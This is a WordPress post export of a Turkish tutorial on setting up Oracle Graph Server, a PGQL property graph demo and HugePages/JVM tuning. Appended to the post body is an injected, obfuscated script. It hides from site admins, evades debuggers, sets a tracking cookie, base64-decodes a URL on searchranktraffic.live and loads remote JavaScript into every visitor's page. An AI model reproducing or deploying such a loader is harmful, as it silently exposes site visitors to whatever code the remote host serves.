Do\u011frulanmas\u0131 (Token Testi)<\/h3>\n\n\n\n<p>T\u00fcm ayarlar bittikten sonra servisi restart edip ilk eri\u015fim token&#8217;\u0131m\u0131z\u0131 alarak ba\u011flant\u0131y\u0131 test ediyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl restart pgx\n\n# Token \u0130ste\u011fi\ncurl -k --location 'https:\/\/150.150.150.152:7007\/auth\/token' \\\n  --header 'Content-Type: application\/json' \\\n  --data '{\n    \"username\": \"GRAPH1\",\n    \"password\": \"GRAPH1\",\n    \"createSession\": true,\n    \"source\": \"commandLine\"\n  }'<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">6. Web Aray\u00fcz\u00fcn\u00fcn (Webapps) Entegrasyonu<\/h3>\n\n\n\n<p>Graph Server&#8217;\u0131n g\u00f6rsel bir y\u00fcz\u00fc olmas\u0131 i\u00e7in <code>oracle-graph-webapps-26.1.0.zip<\/code> paketindeki uygulamalar\u0131 sunucuya dahil ediyoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Webapps paketini a\u00e7\u0131p .war dosyalar\u0131n\u0131 hedef dizine kopyalay\u0131n\nunzip oracle-graph-webapps-26.1.0.zip -d \/tmp\/webapps<\/code><\/pre>\n\n\n\n<p>\u015eimdi daha \u00f6nce <code>\/tmp\/webapps<\/code> i\u00e7ine a\u00e7t\u0131\u011f\u0131n <code>.war<\/code> dosyalar\u0131n\u0131 buraya ta\u015f\u0131yal\u0131m:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cp \/tmp\/webapps\/graph-server-webapp-26.1.0.war \/opt\/oracle\/graph\/pgx\/server\/<\/code><\/pre>\n\n\n\n<p>Graph Server&#8217;\u0131n bu dosyalar\u0131 a\u00e7\u0131p \u00e7al\u0131\u015ft\u0131rabilmesi i\u00e7in sahipli\u011fi <code>oraclegraph<\/code> kullan\u0131c\u0131s\u0131na (veya RPM&#8217;in olu\u015fturdu\u011fu servis kullan\u0131c\u0131s\u0131na) vermeliyiz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># T\u00fcm graph ana dizinini sahiplendirelim\nsudo chown -R oraclegraph:oraclegraph \/opt\/oracle\/graph\n\n# Konfig\u00fcrasyon ve log dizinlerini de unutmayal\u0131m\nsudo chown -R oraclegraph:oraclegraph \/etc\/oracle\/graph\nsudo chown -R oraclegraph:oraclegraph \/var\/log\/oracle\/graph<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">7. Ad\u0131m: Oracle Kullan\u0131c\u0131s\u0131 \u00c7evre De\u011fi\u015fkenleri<\/h3>\n\n\n\n<p>Java kuruldu ama Graph Server&#8217;\u0131n bu yolu tam olarak bilmesi gerekiyor. <code>oracle<\/code> kullan\u0131c\u0131s\u0131n\u0131n <code>.bash_profile<\/code> dosyas\u0131na \u015fu eklemeleri yapal\u0131m:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>su - oracle\nvi ~\/.bash_profile\n\n# Dosyan\u0131n sonuna \u015funlar\u0131 ekleyin:\nexport JAVA_HOME=\/usr\/lib\/jvm\/jdk-17.0.12-oracle-x64\nexport GRAPH_HOME=\/opt\/oracle\/graph\nexport PATH=$JAVA_HOME\/bin:$GRAPH_HOME\/bin:$PATH\n\nsource ~\/.bash_profile<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 5: \u0130lk Graph Modelinin Olu\u015fturulmas\u0131 ve G\u00f6rselle\u015ftirme (PoC)<\/h2>\n\n\n\n<p>Altyap\u0131 kurulumunu tamamlad\u0131\u011f\u0131m\u0131za g\u00f6re, art\u0131k teoriyi prati\u011fe d\u00f6kme zaman\u0131. Bu b\u00f6l\u00fcmde, Server A (Veritaban\u0131) \u00fczerinde \u00f6rnek veri setleri olu\u015fturacak, bu verileri bir <strong>Property Graph<\/strong> modeline d\u00f6n\u00fc\u015ft\u00fcrecek ve Server B (Graph Server) \u00fczerinde in-memory (bellek i\u00e7i) olarak analiz edece\u011fiz. Bu a\u015fama, 15TB&#8217;l\u0131k devasa verilere ge\u00e7meden \u00f6nceki en kritik &#8220;test s\u00fcr\u00fc\u015f\u00fc&#8221; a\u015famas\u0131d\u0131r.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Ad\u0131m: Veritaban\u0131 Taraf\u0131nda Test Tablolar\u0131n\u0131n Haz\u0131rlanmas\u0131<\/h3>\n\n\n\n<p>Graph modelleri iki temel bile\u015fenden olu\u015fur: <strong>Vertex<\/strong> (D\u00fc\u011f\u00fcmler) ve <strong>Edge<\/strong> (\u0130li\u015fkiler). Bir bankac\u0131l\u0131k senaryosu \u00fczerinden giderek, hesaplar aras\u0131 para transferini modelleyelim.<\/p>\n\n\n\n<p>Server A (Oracle DB) \u00fczerinde \u00e7al\u0131\u015ft\u0131r\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-- 1. Vertex Tablosu: Banka Hesaplar\u0131\nCREATE TABLE GRAPH1.GRAPH_USERS (\n    ACCOUNT_ID NUMBER PRIMARY KEY,\n    USER_NAME VARCHAR2(100),\n    ACCOUNT_TYPE VARCHAR2(50)\n);\n\n-- 2. Edge Tablosu: Para Transferleri\nCREATE TABLE GRAPH1.ACCOUNT_TRANSFERS (\n    TX_ID NUMBER PRIMARY KEY,\n    FROM_ACCOUNT NUMBER,\n    TO_ACCOUNT NUMBER,\n    AMOUNT NUMBER,\n    TX_DATE DATE,\n    CONSTRAINT fk_from FOREIGN KEY (FROM_ACCOUNT) REFERENCES GRAPH_USERS(ACCOUNT_ID),\n    CONSTRAINT fk_to FOREIGN KEY (TO_ACCOUNT) REFERENCES GRAPH_USERS(ACCOUNT_ID)\n);\n\n-- \u00d6rnek Veri Giri\u015fi\nINSERT INTO GRAPH1.GRAPH_USERS VALUES (1, 'User1', 'Premium');\nINSERT INTO GRAPH1.GRAPH_USERS VALUES (2, 'User2', 'Standard');\nINSERT INTO GRAPH1.GRAPH_USERS VALUES (3, 'User3', 'Settlement');\n\nINSERT INTO GRAPH1.ACCOUNT_TRANSFERS VALUES (101, 1, 2, 5000, SYSDATE);\nINSERT INTO GRAPH1.ACCOUNT_TRANSFERS VALUES (102, 2, 3, 2000, SYSDATE);\nCOMMIT;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Ad\u0131m: SQL Property Graph (PG) Objesinin Olu\u015fturulmas\u0131<\/h3>\n\n\n\n<p>Oracle 23ai ile gelen en b\u00fcy\u00fck yenilik, grafi\u011fi veritaban\u0131 seviyesinde bir obje olarak tan\u0131mlayabilmektir. Bu komut veriyi kopyalamaz; sadece hangi tablonun d\u00fc\u011f\u00fcm, hangisinin ili\u015fki oldu\u011funu sisteme tan\u0131t\u0131r.<\/p>\n\n\n\n<p><strong>Server A (Oracle DB) \u00fczerinde \u00e7al\u0131\u015ft\u0131r\u0131n:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CREATE PROPERTY GRAPH BANK_TEST_GRAPH\n  VERTEX TABLES (\n    GRAPH_USERS\n      KEY (ACCOUNT_ID)\n      LABEL ACCOUNT PROPERTIES (USER_NAME, ACCOUNT_TYPE)\n  )\n  EDGE TABLES (\n    ACCOUNT_TRANSFERS\n      KEY (TX_ID)\n      SOURCE KEY (FROM_ACCOUNT) REFERENCES GRAPH_USERS (ACCOUNT_ID)\n      DESTINATION KEY (TO_ACCOUNT) REFERENCES GRAPH_USERS (ACCOUNT_ID)\n      LABEL TRANSFER PROPERTIES (AMOUNT)\n  );<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. Ad\u0131m: Grafi\u011fi Graph Server Belle\u011fine (In-Memory) Y\u00fckleme<\/h3>\n\n\n\n<p>23ai ve Graph Server 26.1 s\u00fcr\u00fcm\u00fcyle birlikte en sa\u011fl\u0131kl\u0131 y\u00f6ntem <strong>opg4j<\/strong> (Java Shell) kullanmakt\u0131r. Server B terminalinde \u015fu komutla giri\u015f yap\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd \/opt\/oracle\/graph\/bin\n.\/opg4j --base_url https:\/\/150.150.150.152:7007 --username GRAPH1<\/code><\/pre>\n\n\n\n<p>Ba\u011flant\u0131 kurulduktan sonra, grafi\u011fi bellek i\u00e7i (In-Memory) katmana almak ve Dashboard gibi d\u0131\u015f ara\u00e7larla payla\u015fmak i\u00e7in \u015fu komutlar\u0131 <code>opg4j&gt;<\/code> sat\u0131r\u0131na yaz\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ 1. Grafi\u011fi veritaban\u0131ndan RAM'e y\u00fckle\nvar graph = session.readGraphByName(\"BANK_TEST_GRAPH\", GraphSource.PG_SQL);\n\n\/\/ 2. Grafi\u011fi Dashboard \u00fczerinde g\u00f6r\u00fcn\u00fcr k\u0131lmak i\u00e7in \"Global\" olarak yay\u0131nla\ngraph.publish();<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Ad\u0131m: Dashboard \u00dczerinde G\u00f6rselle\u015ftirme<\/h3>\n\n\n\n<p>Son ad\u0131mda, verinin sadece bir tablo de\u011fil, ya\u015fayan bir &#8220;ili\u015fki a\u011f\u0131&#8221; oldu\u011funu kan\u0131tl\u0131yoruz. Taray\u0131c\u0131n\u0131zdan <code>https:\/\/150.150.150.152:7007\/dash\/<\/code> adresine gidin:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Mode:<\/strong> Graph Server (In-Memory) se\u00e7ene\u011fini i\u015faretleyin.<\/li>\n\n\n\n<li><strong>Graph Name:<\/strong> BANK_TEST_GRAPH objesini se\u00e7in.<\/li>\n\n\n\n<li><strong>Query:<\/strong> A\u015fa\u011f\u0131daki PGQL sorgusunu \u00e7al\u0131\u015ft\u0131r\u0131n:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT e\nFROM MATCH ()-&#91;e]-&gt;() ON BANK_TEST_GRAPH\nLIMIT 100<\/code><\/pre>\n\n\n\n<p>Bu sorgu sonucunda Dashboard \u00fczerinde 3 adet d\u00fc\u011f\u00fcm ve aralar\u0131ndaki para ak\u0131\u015f\u0131n\u0131 temsil eden oklar\u0131 g\u00f6rsel olarak g\u00f6receksiniz. Bu g\u00f6rsel teyit, altyap\u0131m\u0131z\u0131n 50 milyar sat\u0131rl\u0131k devasa verilere haz\u0131r oldu\u011funun kan\u0131t\u0131d\u0131r.<\/p>\n\n\n\n<figure data-wp-context=\"{&quot;imageId&quot;:&quot;69f6400db4596&quot;}\" data-wp-interactive=\"core\/image\" data-wp-key=\"69f6400db4596\" class=\"wp-block-image size-large wp-lightbox-container\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"796\" data-wp-class--hide=\"state.isContentHidden\" data-wp-class--show=\"state.isContentVisible\" data-wp-init=\"callbacks.setButtonStyles\" data-wp-on--click=\"actions.showLightbox\" data-wp-on--load=\"callbacks.setButtonStyles\" data-wp-on-window--resize=\"callbacks.setButtonStyles\" src=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/foto1-1024x796.png\" alt=\"\" class=\"wp-image-859\" srcset=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/foto1-1024x796.png 1024w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/foto1-300x233.png 300w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/foto1-768x597.png 768w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/foto1-15x12.png 15w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/foto1.png 1525w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><button\n\t\t\tclass=\"lightbox-trigger\"\n\t\t\ttype=\"button\"\n\t\t\taria-haspopup=\"dialog\"\n\t\t\taria-label=\"Enlarge\"\n\t\t\tdata-wp-init=\"callbacks.initTriggerButton\"\n\t\t\tdata-wp-on--click=\"actions.showLightbox\"\n\t\t\tdata-wp-style--right=\"state.imageButtonRight\"\n\t\t\tdata-wp-style--top=\"state.imageButtonTop\"\n\t\t>\n\t\t\t<svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"12\" height=\"12\" fill=\"none\" viewBox=\"0 0 12 12\">\n\t\t\t\t<path fill=\"#fff\" d=\"M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z\" \/>\n\t\t\t<\/svg>\n\t\t<\/button><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 6: Graph Server (PGX) ve Sistem Seviyesi Performans Tuning<\/h2>\n\n\n\n<p>Graph Server kurulumunu tamamlamak sadece ilk ad\u0131md\u0131r. Milyarlarca ili\u015fkiyi (Edge) saniyeler i\u00e7inde analiz edebilmek i\u00e7in sistemin &#8220;dar bo\u011fazlar\u0131n\u0131&#8221; ortadan kald\u0131rmal\u0131y\u0131z. Bu b\u00f6l\u00fcmde, donan\u0131m kaynaklar\u0131n\u0131 maksimum verimle kullanmak i\u00e7in yap\u0131lmas\u0131 gereken kritik sistem ayarlar\u0131n\u0131 inceleyece\u011fiz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. \u0130\u015fletim Sistemi: HugePages Yap\u0131land\u0131rmas\u0131<\/h3>\n\n\n\n<p>Standart Linux bellek sayfalar\u0131 4KB boyutundad\u0131r. Ancak Graph Server gibi belle\u011fi yo\u011fun kullanan uygulamalarda, CPU&#8217;nun bu sayfalar\u0131 adresleme y\u00fck\u00fc (TLB lookup) performans\u0131 d\u00fc\u015f\u00fcrebilir. <strong>HugePages<\/strong> (2MB veya 1GB&#8217;l\u0131k sayfalar) kullanarak bu y\u00fck\u00fc minimize ediyoruz.<\/p>\n\n\n\n<p>Herhangi bir bellek operasyonuna ba\u015flamadan \u00f6nce, mevcut RAM kullan\u0131m\u0131n\u0131 g\u00f6rmeli ve \u00e7ak\u0131\u015fmalar\u0131 \u00f6nlemek i\u00e7in Graph Server servisini durdurmal\u0131y\u0131z.<\/p>\n\n\n\n<p><strong>1.1. Servisi Durdurun:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl stop pgx<\/code><\/pre>\n\n\n\n<p>1.2. Mevcut RAM ve HugePage Durumunu Kontrol Edin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>free -h\ngrep -i Huge \/proc\/meminfo<\/code><\/pre>\n\n\n\n<p>Burada <code>HugePages_Total: 0<\/code> oldu\u011funu g\u00f6receksiniz. Bu, sistemin hen\u00fcz hi\u00e7bir alan\u0131 HugePages i\u00e7in ay\u0131rmad\u0131\u011f\u0131n\u0131 g\u00f6sterir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ad\u0131m 2: HugePages Rezervasyonu (Kal\u0131c\u0131 Ayarlar)<\/h3>\n\n\n\n<p>Sistemdeki 8GB RAM&#8217;in 4GB&#8217;\u0131n\u0131 HugePages i\u00e7in ay\u0131raca\u011f\u0131z. Standart bir HugePage boyutu 2MB&#8217;d\u0131r. 4GB (4096MB) elde etmek i\u00e7in <strong>2048 adet<\/strong> sayfa rezerve etmemiz gerekir ($4096 \/ 2 = 2048$).<\/p>\n\n\n\n<p><strong>2.1. Kernel Parametrelerini D\u00fczenleyin:<\/strong><\/p>\n\n\n\n<p><code>\/etc\/sysctl.conf<\/code> dosyas\u0131n\u0131 a\u00e7\u0131n ve en alta \u015fu sat\u0131r\u0131 ekleyin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>vm.nr_hugepages = 2048<\/code><\/pre>\n\n\n\n<p>2.2. Ayarlar\u0131 Y\u00fckleyin ve Do\u011frulay\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sysctl -p\ngrep -i Huge \/proc\/meminfo<\/code><\/pre>\n\n\n\n<p>\u015eu an <code>HugePages_Total: 2048<\/code> ve <code>HugePages_Free: 2048<\/code> de\u011ferlerini g\u00f6rmelisiniz. E\u011fer <code>HugePages_Free<\/code> daha d\u00fc\u015f\u00fckse, ba\u015fka bir uygulama (\u00f6rn. Oracle DB) bu alan\u0131 kapm\u0131\u015f olabilir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ad\u0131m 3: JVM&#8217;i HugePages Kullanmaya Zorlamak<\/h3>\n\n\n\n<p>Sistemin HugePages ay\u0131rm\u0131\u015f olmas\u0131, Java&#8217;n\u0131n onu kullanaca\u011f\u0131 anlam\u0131na gelmez. Java&#8217;y\u0131 bu alan\u0131 kullanmas\u0131 i\u00e7in &#8220;ikna&#8221; etmemiz gerekir.<\/p>\n\n\n\n<p><strong>3.1. Servis Dosyas\u0131n\u0131 G\u00fcncelleyin:<\/strong> <code>\/etc\/systemd\/system\/pgx.service<\/code> (veya ilgili unit dosyas\u0131) i\u00e7indeki <code>Environment=\"JAVA_OPTS=...\"<\/code> sat\u0131r\u0131na \u015fu kritik bayraklar\u0131 ekleyin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># -Xms ve -Xmx de\u011ferlerini HugePage alan\u0131m\u0131zla (4G) uyumlu set ediyoruz\nEnvironment=\"JAVA_OPTS=-Xms4g -Xmx4g -XX:+UseG1GC -XX:+UseLargePages -XX:+AlwaysPreTouch\"<\/code><\/pre>\n\n\n\n<p><strong>-XX:+UseLargePages:<\/strong> Java&#8217;n\u0131n HugePages talep etmesini sa\u011flar.<\/p>\n\n\n\n<p><strong>-XX:+AlwaysPreTouch:<\/strong> Java ba\u015flad\u0131\u011f\u0131nda t\u00fcm 4GB&#8217;l\u0131k HugePage alan\u0131na &#8220;dokunur&#8221; ve fiziksel olarak rezerve eder.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ad\u0131m 4: Servisi Ba\u015flatma ve Ger\u00e7ek Zamanl\u0131 Kontrol<\/h3>\n\n\n\n<p>\u015eimdi motoru \u00e7al\u0131\u015ft\u0131r\u0131yoruz ve yapt\u0131klar\u0131m\u0131z\u0131n i\u015fe yaray\u0131p yaramad\u0131\u011f\u0131n\u0131 canl\u0131 olarak test ediyoruz.<\/p>\n\n\n\n<p><strong>4.1. Servisi Ba\u015flat\u0131n:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl start pgx<\/code><\/pre>\n\n\n\n<p><strong>4.2. Do\u011frulama (DBA Check):<\/strong> \u015eimdi as\u0131l kan\u0131t\u0131 g\u00f6rme zaman\u0131. Java&#8217;n\u0131n HugePages&#8217;ten pay al\u0131p almad\u0131\u011f\u0131n\u0131 kontrol edelim:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>grep -i Huge \/proc\/meminfo\nAnonHugePages:    786432 kB\nShmemHugePages:        0 kB\nFileHugePages:      2048 kB\nHugePages_Total:    2048\nHugePages_Free:     1961\nHugePages_Rsvd:      109\nHugePages_Surp:        0\nHugepagesize:       2048 kB\nHugetlb:         4194304 kB<\/code><\/pre>\n\n\n\n<p>\u00c7\u0131kt\u0131m\u0131zda <code>HugePages_Total: 2048<\/code> g\u00f6r\u00fcrken, <code>HugePages_Rsvd<\/code> (Reserved) k\u0131sm\u0131n\u0131n artmaya ba\u015flad\u0131\u011f\u0131n\u0131 ve <code>HugePages_Free<\/code> miktar\u0131n\u0131n azald\u0131\u011f\u0131n\u0131 g\u00f6zlemledik. Bu, Java s\u00fcrecinin HugePages havuzundan pay ald\u0131\u011f\u0131n\u0131n en somut kan\u0131t\u0131d\u0131r.<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph \u00e7\u0131k\u0131yor.<\/p>","protected":false},"author":1,"featured_media":812,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[],"class_list":["post-811","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-genel-en"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi<\/title>\n<meta name=\"description\" content=\"Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph \u00e7\u0131k\u0131yor.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/oraclius.com.tr\/en\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi\" \/>\n<meta property=\"og:description\" content=\"Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph \u00e7\u0131k\u0131yor.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/oraclius.com.tr\/en\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/\" \/>\n<meta property=\"og:site_name\" content=\"oraclius\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-16T12:43:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-07T08:25:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/ORACLE_GRAPH.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"640\" \/>\n\t<meta property=\"og:image:height\" content=\"640\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"YUNUS EMRE ATAY\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"YUNUS EMRE ATAY\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/\"},\"author\":{\"name\":\"YUNUS EMRE ATAY\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"headline\":\"Oracle Graph Database ve Graph Server (PGX\\\/PGQL) Kurulum Rehberi\",\"datePublished\":\"2026-03-16T12:43:25+00:00\",\"dateModified\":\"2026-04-07T08:25:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/\"},\"wordCount\":2458,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/ORACLE_GRAPH.jpg\",\"articleSection\":[\"Genel\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/\",\"name\":\"Oracle Graph Database ve Graph Server (PGX\\\/PGQL) Kurulum Rehberi\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/ORACLE_GRAPH.jpg\",\"datePublished\":\"2026-03-16T12:43:25+00:00\",\"dateModified\":\"2026-04-07T08:25:07+00:00\",\"description\":\"Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph 